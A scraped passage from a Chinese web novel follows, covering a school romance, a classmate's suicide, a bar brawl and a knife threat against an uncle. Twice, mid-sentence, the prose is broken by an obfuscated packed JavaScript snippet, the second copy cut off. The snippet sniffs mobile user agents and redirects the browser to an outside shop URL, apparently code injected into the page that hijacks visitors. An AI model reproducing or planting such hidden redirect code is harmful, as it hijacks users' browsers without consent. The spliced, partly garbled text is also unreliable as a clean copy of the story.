叶子觉得他有些冷漠,有些凶巴巴的,沮丧哦了一声,说:“马上就要期末考试了,你答应我好好学习的,你什么时候回来上课呀?” 韩山不知道是因为喝了酒还是什么,脑袋一阵痛,他抽了口指间的雪茄,这是顾老板给的,他没法拒绝。 雪茄一会儿不抽就会自己熄灭,他也没办法像普通香烟那样,夹在手中装样子。 叶子听见他的吐气声,微微蹙眉,他到底在干嘛呀,他的状态真的好奇怪。 韩山望向楼道的窗户,外面高楼大厦,灯火辉煌,他却像是不属于这个世界,心无比寂寥。 叶子:“喂?韩山,你还在听吗?” 听筒那头淡淡的:“嗯。” 韩山闭了闭眼,他对她总是毫无办法,束手无策,他说:“明天。我明天去上课。” 叶子虽然不太开心,但听到他这句话还是笑了,“好,那明天见。” 少女的声音轻快甜蜜,韩山不由得跟着弯了弯唇,“嗯,明天见。” 挂了电话,叶子看着自己的手机屏幕,十二月三十号了,明年就是两千年的最后一天了,她的两千年可以完美收场了。 韩山拿着手机回到包间,顾老板喝了不少,面色潮红,开玩笑说:“什么人啊,比我们都重要。” 韩山敬酒道:“冷落各位老板了,我自罚三杯。”他将杯中酒一口闷掉,接着去倒第二杯。 顾老板哈哈一笑,给各位朋友指了指韩山,“会来事着呢,算了,不跟他计较,咱们继续。” * 第二天,韩山遵守诺言来上课了。 他来得早,叶子还没来,教室里没几个人,他趴在桌上补觉。 同学们陆陆续续来了,看见角落位置的少年,十分惊讶。 “卧槽,他怎么突然来上课了?真是破天荒……” “他好像一个月没来了吧……” “嘘……你们小点声,别把他吵醒了!” “平常就算了,今天是调休哎,怎么今天来了?” 叶子进班的时候,往韩山的位置看了眼,看到他来了,十分开心。 早读时赵育芳发现了他,过去将他叫醒,“既然来了就学会儿,马上期末了,能考多少分啊?” 韩山被她提溜起来,椅子拖拉声响亮,懒洋洋捧起课本敷衍地读。 赵育芳抬头看了他一会儿,忍不住又想说他的头发问题,但知道说了也没用,叹息一声走开了。 叶子举起课本挡住脸,悄悄回眸,想给韩山打个招呼。 韩山余光看到她回头,抬眸迎上的目光。 叶子冲他调皮地wink,笑容甜美。 她真的好希望每天都能这样见到他。 韩山柔下目光,做手势,让她转回去认真早读。 叶子看懂了,乖乖照做。 秦夏一直留意着叶子,顺着她刚才的目光回头,意识到她是在看韩山。 她意外,难不成韩山来上课是因为叶子吗? 赵育芳在班里转了两圈便离开了,韩山趴桌接着睡,肆无忌惮。 赵育芳没再来,韩山这一觉睡到大课间,醒来后百无聊赖支着下颌,看着前面伏案学习的叶子。 浅蓝色的保温杯放在她桌角,他看了会儿,拿着自己的杯子起身,向她走去。 他路过她的座位,顺手拿了她的杯子。 叶子正验算着一道化学计算题,突然看到杯子被拿走,下意识抬头,韩山从讲台穿过,对她举了举手中两个杯子,表示帮她接水。 叶子会心一笑,低头继续验算。她杯子刚好没水了,打算写完这道题去接,这下省事了。 秦夏也在教室,看着韩山和叶子无言地交流,心情复杂,他们的神态、动作自然大方,有一种心照不宣的默契。 他们关系这么好吗? 董婉凝和封迎虎那些人的事到现在没有定论,韩山对秦夏来说是个极其神秘又危险的人,她担心叶子会误入歧途。然而这种话她不知道该怎么给叶子说。她对着叶子背影默默叹了口气。 韩山离开不久,有人在教室门口喊了声:“叶子!有人找。” 叶子抬头,步一凡在窗外对她挥手。 她骤然想起之前收他专辑的约定,连忙起身去见他。 步一凡手里正拿着那张专辑,腼腆憨厚地冲叶子笑,说:“哈喽,你钱攒够了吗?” 叶子想告诉他她已经有专辑了,不需要了,然而面对他单纯的笑容,她一时有些难以启齿。 她心虚说:“没呢……你这是?” 这时韩山接完水回来,嘴里叼着根棒棒糖,从走廊尽头拐过弯,看到这一幕,微微蹙眉,神色冷下来。 步一凡忙说:“你别误会,我不是来催你的,我是想说,正好你没攒够,这张专辑就送你了。”他将手中的专辑递给叶子,脸颊微红。 叶子猛地睁大眼睛,受宠若惊,连忙摆手,“不用不用,你这样你爸知道了会训你的。” 步一凡:“没事,他不会知道的。这不是快元旦了吗,我想祝你新年快乐……” 同学们来来往往,都看见他们说话。韩山走到了教室后门,下颌线紧绷,黑眸毫不掩饰直勾勾盯着步一凡,自然也看到了他手里的专辑,心中不屑轻嗤。 她有了一手的,怎还会稀罕你这个二手货? 叶子不经意回头看见韩山,懊恼不已,简直想找个地缝钻进去。 她已经收了韩山的专辑,别人又送她专辑,韩山会怎么想? 韩山神色冷淡收回目光,无言地拎着手中两个杯子经过他们。 叶子看着他过去,心中讪讪,也不知道是不是她心理作用,她觉得他身上气压出奇得低。 步一凡也注意到这个个子极高的银发少年,看他进了叶子的班,惊讶说:“这种人居然跟你一个班啊!” 叶子蹙眉,这是什么话?什么叫他这种人? 但她知道步一凡没有恶意,只是感叹而已,便不跟他计较,笑笑说:“不要以貌取人哦,他很好,我挺喜欢跟他一个班的。”她推开步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13856327|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一凡的专辑,正色说:“实在不好意思,前几天圣诞节,我朋友送了我这张专辑,我现在不需要了。” 步一凡一怔,眼底浮现出失落之色。 韩山坐在座位上,看着窗外两个人,心中戾气横生。 还好他先一步送了她专辑,否则,她一定就要收别人的了吧。 别人的东西留在她身边,这件事只是想想,就让他难以忍受。 他沉默地拿出手机,打开摄像头。 步一凡面朝教室的方向,韩山对准他,拍下了他的照片。 叶子想了想说:“毕竟约好了,爽约不太好,要么这样吧,你说个比例,我补个爽约费给你。” 步一凡立刻说:“没事的,你既然有了,那我换个礼物送你,耳机怎么样?” 叶子连连摆手,“不用不用真不用,我什么都不缺。而且,而且——” 他们的关系也没有熟到送礼物的地步吧…… 这话说出来有点残忍,叶子改口说:“而且我也没钱给你准备礼物,这样不太好。那个,我还有事,就先回班了,你也快回去吧,到时候我把钱送到你店里。”她没去看步一凡的表情,匆忙进了教室。 她有些想不通,步一凡怎么突然间变得这么奇怪了? 步一凡不是个没眼力劲的,已经听出叶子的拒绝之意,灰心离开了。 叶子看向教室角落的方向,韩山靠在墙角,翘着腿,懒散玩手机,嘴里叼着一根棒棒糖。 她的杯子放在她桌角。 叶子吸了口气,心里没底,走到韩山座位前,说:“谢谢你帮我接水。” 秦夏扭过头看着他们。 韩山把手机锁屏揣进兜里,放下翘着的长腿,抬头轻佻玩世不恭地说:“怎么谢啊?” 叶子:? 她只是客气,他还真想要报答啊! 叶子无措:“你、你想我怎么谢嘛?” 韩山黑眸带着柔,唇边生出玩味的笑意,盯着她看了片刻,轻笑歪头,“回去吧。” 只是逗她而已。 叶子脸颊烧得像是火烤一般,站在原地没动,她过来找他,并不只是为了说谢谢。 “那个……刚才那个男生——”她犹犹豫豫小声开口。 韩山目光温和,下巴微抬,“不用说,回去吧。” 他们是怎么回事,他一目了然,哪用得着她亲自来解释。 叶子意外。 韩山:“去吧。” 叶子迟疑着,不知道该不该走。 韩山弯唇,抬手在她身侧轻轻送了她一下,这道力让她向前走了两步。 她回头,看他好像确实没什么事,便放心回了座位。 韩山看着她背影离开,重新拿出手机,目光变冷。 刚才叶子没注意,这时才发现她摊开的练习册上放着一个荔枝味的棒棒糖。她惊喜拿起来,回头看。 韩山低头玩手机,她看过去之后,他似有所觉,抬眸回应她的目光。 叶子用口型说谢谢。 韩山会意。 秦夏全程看着他们,对叶子担忧更深,他们不会早恋了吧? 这时,教室外出现躁动,走廊里的所有同学都向护栏涌去,踮脚往外看。教室里的同学发现有情况,也纷纷走出教室。教室一下子空了,走廊挤满了人,声音嘈杂。 叶子疑惑,这是怎么了? 韩山看向走廊,把手机揣兜里,站起身,向外走去。 叶子看着他,他打手势让她待在教室。 秦夏看叶子没出去,自己也没动,在座位老老实实坐着,教室里只剩下她和叶子两个人。 这时尖叫声传来,有个黑影从楼上坠落,“嘭”地一声砸在地面上。 “跳楼了!” “有人跳楼了!” 同学们惊慌喊道。 39. 再遇 同学们围在护栏,都在往下看,有女生哭,还有人干呕。 韩山走出教室,同学们把护栏里外围了好几层,他仗着个高,在外围探身往下看。 楼下的水泥地上,一具女孩的尸体,死不瞑目。 鲜血从她身下汩汩流出,汇成腥红刺目的血泊。 他们学校教学楼共六层,从顶层跳下来,绝无生还的可能。 秦夏听到跳楼二字,忍不住冲出教室,挤进人群。 教室只剩下叶子一个人,她有些害怕,也跟着出去了。 “快去找老师!” “打120啊!” 楼道里同学们不断喊着。 人太多,老师们陆陆续续过来维持秩序,赶学生们进班。 护栏边的人少了很多,叶子下意识想去看看,被韩山挡住眼睛向后拉开,“别看,进班。” 这么血腥的画面,看了会做噩梦。 普通人一辈子都很难见一次鲜血淋漓的尸体,他不能让这成为她的阴影。 叶子被韩山带进教室,赵育芳在外面赶人,同学们一个个都回了班。 叶子不安坐在座位上,心想,最近这都什么事啊?前有董婉凝和封迎虎遭遇不幸,现在又来个跳楼的。 董婉凝的座位现在还是空的,一波未平一波又起。 秦夏看到了尸体,被吓得不轻,魂不守舍坐下来,脸色苍白。 全年级召开紧急班会,广播喇叭打开,教导主任秃驴亲自主持。 韩山有些庆幸还好他今天来学校了,否则发生这么大的事,叶子一定会很害怕。 学校叫了救护车报了警,联系了女孩的父母,一切按正常流程走。 这件事给大家的震撼不亚于当时看到董婉凝和封迎虎那帮人的照片,校园气氛变得无比凝重,人心惶惶。 警方开展了调查。 很快跳楼女生的名字就在同学们口中传开,她叫白歌,是高一B8班的班花。关于她跳楼的原因也众说纷纭。 有人说她是临近期末,学习压力太大,坚持不住跳楼的,这也是学校公认的说法。 同学们觉得这个说法疑点颇多。 “才高一,哪有那么大学习压力,如果是高三还有可能。” “就是就是,我看这就是学校为了维护声誉编出来的借口!” 也有人说她是早恋受了情伤,一时想不开跳楼的。 很大一部分同学认同这个说法。 “我听说啊,好早之前就有人看见她跟一个男生在小树林里……衣服都脱光了!” “天呐,看来是遇人不淑了!” “什么遇人不淑啊,是自作自受!仗着自己有几分姿色就乱搞,这种早恋不知检点的女生都是一个下场!” 少许同学们听说后问道:“那与她那个的男生是谁啊?” 没一个人知道。 这种传言里,男方似乎都是隐形的。他是谁,他在哪里,甚至他到底存不存在,都不影响传言的蔓延。 还有一种说法便是,白歌是因为遭受了校园霸凌,精神崩溃跳楼自杀的。 然而这个说法声音最小,没引起什么波澜。 叶子听到这个说法,结合白歌所谓“早恋受情伤”的传言,有种直觉。 学校给B8班召开了特殊班会,不让他们在外面乱传,很多说法被压了下去,具体情况无从打听。 叶子很遗憾,明天就是新年了,那个女生的生命却永远停留在了零零年。 这天放学,秦夏找叶子一起走,她也听说了白歌死因的三种说法,整个人战战兢兢的。 叶子怀疑她跟自己想到一块去了。 叶子收拾好东西,背上书包起身,顺便往教室后面看了一眼。韩山还没走,伏案写写画画,不知道在画什么。 总归不像是在学习。 韩山合上本子抬头,迎上她的目光。 叶子一怔。每次她偷看他,似乎都能立刻被他察觉,每次他还都会看回来,眼神坦荡,毫不掩饰。 叶子本来想跟他挥个手,告诉他自己先走了,然而不经意的对视,她心跳微快,忘了自己要做什么,连忙收回目光,与秦夏一同出了教室。 韩山注视她离开,把本子装进书包拉上拉链,单肩背包跟上去。 他来上课的事没给猴子他们说,不会有人来找他一起走,白歌的死因他心中有数,叶子曾经小心翼翼在他身后跟了那么久,以后换他来守护她。 秦夏刚才看见了叶子与韩山“眉目传情”,担心问她:“叶子,你跟韩山……没有发生什么吧?” 叶子略一迟疑,不假思索道:“没有呀,为什么这么问?” “那就好。”秦夏稍稍放心,犹豫说:“叶子,我知道你跟他关系好,但我还是想提醒你,可别被他影响了,学习啊、生活啊,各个方面,我总觉得他这个人城府很深。” 董婉凝和封迎虎的事,虽然她听叶子说不是韩山做的,但也绝无可能是别人了,她总觉得蹊跷,韩山说不定在骗叶子。 然而这话说出来跟挑拨离间一样,所以秦夏不说,只是这样提醒叶子。 这个男生神秘又危险,还有手腕,绝非善茬。 虽然他救过叶子,但谁知道他是不是别有居心?叶子可是好学生,年级第一,大好前途,不能被这样一个混混耽误。 叶子毫无负担地笑了,知道秦夏是好心,点头应道:“放心吧,我有分寸。” 秦夏彻底松了口气。 韩山在她们身后几米远外,隔着人群注视着她们,目光冷沉,似乎看透她们在说什么。 叶子和秦夏都不知道韩山就在后面,俩人聊起今天跳楼的事,秦夏说:“你觉得白歌是为啥跳楼?” 叶子:“或许跟我们一样。” 校园霸凌的另一个结局。 秦夏默了默,“叶子,你说我们的结局,不会也是这样吧?” 叶子惊讶看向她:“胡说什么呢!我们才不会这样。” 秦夏笑笑:“我说着玩的啦!我才不甘心自己失去生命,而那些霸凌者的人生却大放光彩。” 叶子:“这样想就对了。” 秦夏:“本来我觉得,下学期分班,离董婉凝远一点就会安全,经过这件事我发现,没有董婉凝还会有别人,就比如说B8班,霸凌无处不在。你说为什么倒霉的总是我们?” 叶子也不知道为什么倒霉的总是她们,深吸一口气,思考说:“或许恶意本来就没有原因。” 有的人因为漂亮,有的人因为不漂亮,有的人因为学习好,有的人因为学习不好,有的人因为太张扬,有的人因为太透明。 叶子和秦夏一起坐公交回家,她们家在同一个方向,不过秦夏的家在市区,要比叶子多坐几站。 韩山看着两个少女上了公交,接着往前走。 这时他手机响了,是猴子打来的,韩山接通电话。 “喂弥哥,你来上课了?” 猴子跟兄弟们放学照常去网吧上网,看见了门口的黑金机车。 韩山嗯了一声。 猴子声音顿时兴奋:“那正好!兄弟们都等你带飞呢!赶紧的!” 韩山好久不上学,自然也好久没跟他们一起打游戏了。 韩山看了眼手机屏幕上的时间,说:“不去,有事。” 猴子哀嚎:“哎呦,真是大忙人。你说你一天到晚到底在忙些什么啊!” 韩山挂了电话,在网吧门口骑上机车,前往Kings。 今晚跨年,Kings有个跨年庆典,玮琪千叮咛万嘱咐他一定早点来。 Kings每到节假日会加倍火爆,上次圣诞节他请了假,代价是今晚跨年必须留在Kings。 当时他犹豫了一下,很快答应了。 跨年每年都有,可初雪不是每年都有,哪个更重要显而易见。 * 天一点点黑下来。 叶子在家写元旦的假期作业,九点钟,李丽然下班回家,一进家就开始换衣服梳头,又要出去。 叶子听见动静,打开房门询问:“妈,你这是要去哪儿?” 李丽然上班辛苦,下班后都不愿意出门。 李丽然着急说:“有熟人看见你舅去皇家了!我给他打了好几个电话打不通,我得赶紧去把他带回来,省得他又闯祸!” 叶子一惊,李勇军那人发起火来六亲不认,叶进财还没下班,她不放心妈妈一个人,连忙回屋换衣服,“妈你等会儿我,我跟你一起去!” 李丽然:“你去啥呀,你在家学习吧!” 叶子换了条裤子,拿着外套围巾就出来了,穿鞋说:“我学习没问题的!那酒吧太乱了,万一他发酒疯,我跟你一起去也好有个照应。” “那行吧。”李丽然打开房门下楼。 叶子匆匆跟上去,边下楼边穿外套,系围巾。 这个点已经没公交了,李丽然打了个车,与叶子火急火燎赶到皇家。 Kings门口立着DJ海报牌,李丽然给前台说明了情况,领着叶子进去。 叶子一眼未曾注意那海报牌。 叶子第一次进酒吧,被烟雾熏得直皱眉。这个地方在地下,不透光,比网吧更幽暗,只有灯光与舞台电子屏的光,黯淡又晃眼。 酒吧开着空调,暖气充足,里面的人穿的极少,跟着音乐肆意地扭动。唯独她和李丽然穿着羽绒服,格格不入,简直像两个怪物。 音响声音极大,震得叶子耳膜隐隐作痛,心脏都不舒服了,如果不是为了舅舅,她真是一秒钟都待不下去。 她跟着李丽然在酒吧中寻找李勇军的身影,今晚跨年,酒吧比往常人更多,挤都挤不动,走得相当困难,更别说找人了。 李丽然拨通李勇军的电话号码,边打电话边找。 叶子忙着找人,丝毫没注意到舞台上那个人,是韩山先发现了她。 他漫不经心调音的手指轻颤,音律出现一丝波动,仿佛他此刻的心跳。 在一整首歌曲中这么细微的差错没人能听得出来,只有他自己知道。他眉峰微蹙,墨镜后,向来没什么情绪的黑眸变得锐利深沉。 她来这干什么? 她现在不是该在家里写作业吗? 他目光跟着她移动,不动声色戴上一只黑色口罩,遮挡面容。他绝不能让她认出他来。 李丽然终于在一个散台上找到了正在跟美女谈笑风生的李勇军,她就知道他是来泡妞的,抓住李勇军的胳膊拉着他就走,“你跟我回家!” 李勇军没想到李丽然会找过来,毫无心理准备,“姐!你怎么来了!” “我怎么不能来?” “我不走!”李勇军意识到她是来抓他的,甩开她的手往回走。 叶子拽住他,“舅舅!” 李勇军这才发现叶子也来了,弯腰摸摸她的头,用哄小孩的语气说:“叶子乖,把你妈带走,别让她来烦我。” 韩山看着这一幕,面部线条紧绷。 他对李勇军有印象,之前就是这个人在Kings打架闹事,他跟叶子什么关系? 李勇军说完回到散台,继续跟美女聊天,美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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酒保上前请李丽然和叶子出去,叶子说:“妈,要不咱先走吧。” 李丽然指着李勇军说:“行啊李勇军,以后你休想再从我这拿一分钱!” 她带着叶子转身走,李勇军变了脸色,上前挡住她们的去路,“李丽然,你这就是过河拆桥了吧。我花你点钱怎么了?我爸妈把你养这么大,不就是让你来孝敬我的?” “李勇军!”李丽然扬手扇了他一耳光,眼眶含泪。 叶子吓得一个激灵,从没见过妈妈这么生气。她难以置信看向李勇军,“舅舅,你怎么能这么说话呢?” 叶子外公外婆重男轻女,李丽然从小受了不少委屈,这无疑是在她伤口撒盐。 李勇军一眼不看叶子,就盯着李丽然,嘴角露出轻蔑嘲讽的笑,一个巴掌扇了回去,薅住李丽然的头发便骂:“你个臭老娘们敢打我?李富和王娟都不敢打我你打我?!”他双目充血腥红,布满血丝。 李富,王娟是叶子外公外婆的名字。 叶子立刻冲上前让李勇军松手,酒保见势不妙,立刻报警,通知玮琪。 李丽然嘴角出血,脸上留下个鲜红的巴掌印,冷笑一声说:“打女人,你算什么男人!” “老子今天打的就是你!” 李勇军和李丽然厮打在一起,周围顿时一片尖叫,叶子吓坏了,哭喊道:“妈!舅舅!你们别打了!” 酒保上前拦架,被李勇军一脚踹开。 场面乱了起来,散台被他们撞倒,酒和食物洒了一地。 叶子知道酒保已经报了警,慌张掏出手机,想打给父亲。 点开通讯录,她忽然看到位于第一位的名字,阿弥,心念一动。 叶进财工作忙碌不一定能及时过来,但他或许可以。 她正要按下拨通键,余光中,一只袖子卷到手肘的手臂从眼前穿过,将李勇军拉开。 她愕然抬眸。 李丽然一不小心挠到韩山的手臂,留下一道红痕,忙说:“不好意思!” 韩山看她一眼,抓着李勇军的衣领逼他后退。 周围人群纷纷向两边让开,叶子倒吸一口冷气,目光第一次落在这个银发DJ上。 他肩膀宽阔,背影高大,背部的肌肉线条若隐若现。 李勇军因为上次打架的事认识韩山,知道他身手好,殷勤说:“小兄弟误会,误会嘿嘿……那个是我姐,我们有一点家事……” 韩山逼着他退开一段距离,确保叶子听不见他们声音之后,韩山开口:“警察马上就来,现在滚,或是被警察带走,自己选。” 李勇军脸色微变,嬉皮笑脸说:“我滚、我滚,不过我已经掏了钱了,这钱……”他佯装为难。 韩山嗤笑,换做别人,他会先给他算算需要赔多少损失费。但念在他是叶子舅舅,这钱到底要叶家出,韩山说:“明天来找我,我退你双倍,滚。”他推开李勇军。 “谢谢小兄弟,谢谢小兄弟……”李勇军见钱眼开,顿时点头哈腰,转身跑了。 李丽然看见李勇军走了,如释重负,叶子扶着李丽然,帮她理头发,“妈你没事吧。” 李丽然半张脸肿着,无力地说:“没事。” 韩山走回来,扶起倒地的散台桌子,打了个响指,酒保立刻来收拾。 李丽然心中惭愧,带着叶子走向韩山,“不好意思啊,给你们添麻烦了。浪费的这些酒和吃的我们赔。” 叶子依偎在李丽然身边,警惕地上下看他。 他戴着银色十字架耳坠,银色项链,花色衬衫只松松系了两颗扣子,领子大开着。头发打理过,戴着墨镜,口罩。 隔着墨镜她看不出他的视线,然而她有感觉,这个人也在看她。 他是谁? 韩山有信心凭外表叶子不会认出他,顶多有所怀疑,但他不能开口说话。 一旦说话,必定露馅。 他没有回应李丽然的话,错身经过她们。 40. 摆平 玮琪姗姗来迟,看到酒保在收拾地面,惊讶问韩山:“又是怎么回事?” 韩山:“已经报警了,损失记我头上,别难为她们母女。” 玮琪嗅到丝八卦的味道,喜闻乐见说:“哎呦,怎么,你熟人?” “不是。” 韩山经过玮琪,回舞台换碟调音。 玮琪蹙眉看着他背影,不是熟人你闲的啊? 叶子视线跟着韩山移动,有些出神。 这个人的背影……好像他。 玮琪来到李丽然面前,发现有点眼熟,“诶?上次不就是你家里人打架,闹到公安局了?” 李丽然简直无地自容,尴尬地点头,“实在不好意思,这次我本来是想带他回家,没想到反而是我自己跟他在您这闹起来了。您算算这次该赔多少,我赔。” 玮琪笑笑,伸出手臂引她离开,“这里太吵,咱们出去说吧。” 叶子和李丽然跟着玮琪出了Kings,在楼道里说话。 玮琪:“我刚才看了,这次损失不重,就不用赔了,等会儿警察来了我会给他们解释,都是误会一场。咱们这个事就翻篇。” 李丽然迟疑:“不用赔?这不太好吧。” 玮琪笑着说:“真不用。您要是不想让您弟弟来Kings,就看好他,不然总这样也不行啊。他掏钱了我又不能不让他进。” “是是……”李丽然打开钱包,掏出三张百元钞票递给玮琪,“这点钱您拿着,虽然不多……但能赔一点是一点……” 玮琪把她手推回去,“真不用。” 俩人推搡起来,叶子在旁边看着,心里不是滋味,这三百掏出去,妈妈不知道又多少天白干。 李丽然说:“您拿着。不然我睡觉都不踏实。” 玮琪推搡几次后无果,无奈收下,“那好吧。” 叶子问道:“经理姐姐,今晚那个帮我们的DJ叫什么呀?” 玮琪这才发现旁边还有个半大小姑娘,温柔地笑道:“他叫Ace。帅不帅?”她得意挑了挑眉,她真的很满意自己找的这个DJ。 叶子奇怪:“Ace?那他中文名呢?” 玮琪:“我们这不叫中文名。” 叶子有些失望:“好吧……” 玮琪好奇说:“怎么了,认识?” 叶子连忙摇头,她不敢确定。 警察很快来了,玮琪和李丽然一同解释了半天,把这事糊弄过去了。 叶子跟着李丽然回家。 在出租车上,李丽然掩面无声地抹眼泪,她怎么会有李勇军这样的弟弟?花她的钱,吸她家的血,却敢反过来辱骂殴打她。 叶子知道妈妈伤心,紧紧握着妈妈的手。 到家后,叶子从冰箱拿来冰袋,给李丽然敷脸,李勇军下手没个轻重,她脸肿了半个。 叶子也很难过,明天就是新年了,本该开心的日子,却发生这样的事。 她忍不住问妈妈,“妈,你说咱们今晚不去找他是不是就什么事都没有了?” 李丽然叹了口气说:“不去找他,他在外面过夜,花的钱到头来还是咱家的。” 叶子默了默说:“妈,以后咱不管他了行不行?” 李丽然:“我也想不管呀,可是他终究是我亲弟弟,我总不能让他活活饿死吧……” 叶子:“我才不信他一个大活人能饿死!” 李丽然:“他那个性子,若是真的走投无路,指不定干出什么伤天害理的事!他若是真有个什么三长两短,你外公外婆也不会安心。” 叶子气鼓鼓说:“那又如何,这种儿子不要也罢。” 李丽然被她的纯真直率逗笑,把女儿抱紧怀里,温柔说:“有你真好。妈妈这一辈子呀,最幸福的两件事,一个是选择了你爸,一个就是生下了你。别人都说生儿子好,可以传宗接代,我偏不觉得,我就喜欢女儿,谁说女儿就不能传宗接代了?”她贴贴叶子的脸颊。 因为李丽然在一个重男轻女的家庭长大,所以她爱极了叶子这个女儿,把能给的最好的一切都给了她。 她可以不买新衣服,但叶子必须穿最新最漂亮的,她可以没文化,但叶子必须上最好的学校,接受最好的教育,她可以干体力活,为了家庭、弟弟辛苦操劳一辈子,但叶子必须有个好的未来,而且必须为自己而活。 叶子也确实没有让她失望,以中考状元的成绩考入一中,稳居年级第一,出色得让她每每想起,都能感动得一塌糊涂。 今晚若不是叶子陪着,她不知道会有多无助。 叶子轻轻抚过妈妈头顶,妈妈已经有几根白发了,叶子心疼说:“妈妈,我现在长大了,你也要为自己而活。” 李丽然不由得落泪:“如果可以,我会的。” 叶子回屋后,给韩山打了个电话。 那个DJ真的太像他了,她要看看他怎么说。 韩山就知道她会打电话过来,已经等了很久,专门来到Kings外面接。 四周静悄悄的,他喂了一声。 叶子刻意听了听,电话那头很安静,并没有什么杂音,貌似不是在酒吧里。她试探地说:“韩山,你现在在干嘛呀?” 韩山犹豫了一下,还是决定不告诉她了,她那么希望他好好学习,跟她考一个班,若是知道他偷着在酒吧当DJ,肯定会失望的。 她那么干净明媚的人,不会喜欢酒吧DJ的吧。 这些思量在他脑海只不过是一瞬,他淡淡地说:“看书呢,马上期末了。” 叶子意外又惊喜:“真的吗!” 韩山拿着几张Kings的广告传单,用力抖了抖,模仿书页翻动声,“你听啊,当然是真的。” 叶子开心极了,他能浪子回头,简直太好了。 韩山听到她的笑声,也弯唇笑了,她还真是好骗呐。 “怎么突然打电话,有什么事吗?”韩山随便问了句,尽管他心里早就知道答案。 叶子想了想,觉得告诉他也没事,便道:“也没什么,我今晚遇到一个人,跟你好像。” 韩山声音平静:“是吗,在哪里?” “酒吧,皇家那个。” “你去那种地方了?” 叶子闷闷说:“嗯,有点事,要处理一下。” “那事情处理好了吗?” “嗯……还行吧。” 韩山弯唇。 如果真的处理好了,她会高兴地说好了,然而她说了还行,那就是没处理好。 不过没关系,他会帮她。 韩山看了眼机械手表,他得赶紧回去了,身为DJ,他不能离开舞台太久。 他说:“那就快学习吧,别忘了你答应我的,考个第一给我看的。” 叶子认真应道:“嗯!那我挂了,你也要努力哦!” 韩山柔声说:“嗯,拜拜。” 电话挂断,韩山手放在胸口,窒闷的感觉几乎让他喘不上气。她越是单纯好骗,他心中的负罪感就越强。 他强迫自己忘掉这个电话,转身进门。 * 天蒙蒙亮,Kings的跨年庆典完美谢幕。玮琪把那三百块钱给了韩山。 韩山接过来,蹙眉说:“不是说了算我头上?” 玮琪直呼冤枉:“她们非要给的,我有什么办法。” 韩山:“明白了,谢了。” 他得想个办法把这钱还回去。 早上八点,李勇军来Kings找韩山,韩山说要退他双倍的钱,他可惦记着呢。 白天Kings不营业,门锁着,李勇军咣咣敲门。 韩山下班没走,在卡座沙发闭目养神,等李勇军过来。 敲门声响,他起身去开门。 李勇军看到他,顿时露出殷勤的笑容,“小兄弟早啊。” 韩山戴着墨镜,不以真面目见他,放他进来了。 “是挺早的。”韩山重新锁上门。 李勇军:“那是,钱的事当然不能怠慢。” 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李勇军眼中顿时迸发出贪婪的光,Kings散台一晚上价格四位数,这卡里的钱不止两倍了。 李勇军吞了口唾沫,就要伸手去接,韩山漫不经心移开手,没让他碰到。 李勇军舔了舔唇,急切说:“谢谢小兄弟。” 他又要去接,韩山再次挪开手。 李勇军有些耐不住性子,“小兄弟您这是……” 韩山唇角轻勾,慢条斯理说:“这两万块,一部分是退你的,另一部分,够你一段时间的日常生活。但我有个条件。” 李勇军垂涎三尺,李丽然给他的生活费最多几千块,从来没见过这么多钱,舔舔唇瓣说:“你说你说。” 韩山:“找个班上,别再来这种地方。” “放心放心,我保证。”李勇军伸手要拿卡,韩山又一次躲开。 李勇军虽然嘴上连连应着,实际看都没看韩山一眼,目光始终盯着那张卡。 韩山知道他根本没把他的话当回事。 “我说的什么,你重复一遍。”韩山道。 李勇军已经不耐烦,忙说:“找个班上,别再来这种地方,对吧?” 韩山这次没躲,看着他把卡拿走,冷笑,“你能把手给我一下吗?” 李勇军对这张卡爱不释手,哈喇子都要流出来了,想都没想笑眯眯把手递给他,“怎么了小兄弟?” 韩山猛地将他手按在桌上,一把尖刀插在他指缝之间,桌子一颤,李勇军脸色顿时白了。 那刀刃但凡歪一丁点,就会直接剁下他的手指! 李勇军惊恐抬眸,韩山戴着墨镜,看不到眼睛,可是他却能感受到墨镜之后又冷又刺的眼神,比那刀子还要可怕。 “你、你这是做什么小兄弟!”李勇军下意识想要挣脱,然而他的手在韩山的钳制下纹丝不能动。他脸色更僵几分。 韩山姿态轻松,似乎毫不费力,冷冷看了他片刻,拔出刀子,刀尖轻轻在李勇军指根游走,慢条斯理说:“你若做不到,留着这双手也没什么用,不如剁了。”他勾唇,笑容带着彻骨的冷,稍稍用力,李勇军指根出现一道小小的口子,丝丝血液渗出。 李勇军浑身颤抖,不断地吞咽唾沫,脸上毫无血色。 刀尖划过皮肤的感觉冰凉,此刻这道伤口带来的痛感远不及韩山给他的畏惧感,他从沙发上滑下来,扑通一声跪在地上,哭着央求,“小兄弟饶命,我从这出去就去找班上!我保证!” 韩山爽快松开他:“滚吧。” “谢谢、谢谢!”李勇军磕了两个响头,逃命般跑了。 韩山熬了一晚上也困了,起身去休息。 如今他的收入丰厚,养个闲人无关痛痒。 但给李勇军点教训是必要的。 否则那种人,只会一次又一次给她家添麻烦。 41. 中奖【双更合一】 元旦假期很快结束,叶子再来学校时,发现走廊上装了防护网。 学校为防止再发生学生跳楼的事,趁假期连夜封闭了走廊。 如今的教学楼像一座冷冰冰的监狱。 窒息,压抑。 同学们过了元旦假期,都遗忘了那个跳楼的少女,在教室里吵吵闹闹,谈论着自己的假期生活。 跳楼无法改变任何事情,反而让真相随着她的离去一同被掩盖。 韩山又不来上课了。 叶子不太高兴,她喊他来他才来,不喊就不来,他怎么跟个小孩一样? 不对,她幼儿园的时候已经知道按时去上学,他还不如小孩呢。 她赌气索性不联系他,爱咋咋吧。 赵育芳发了选科意愿调查表,叶子不假思索在理科后面打了对钩。 韩山没来,张婧雅看他座位没人,把属于他的那张表交给了赵育芳。 赵育芳无奈叹气。 一周后就是期末考试,全市联考。 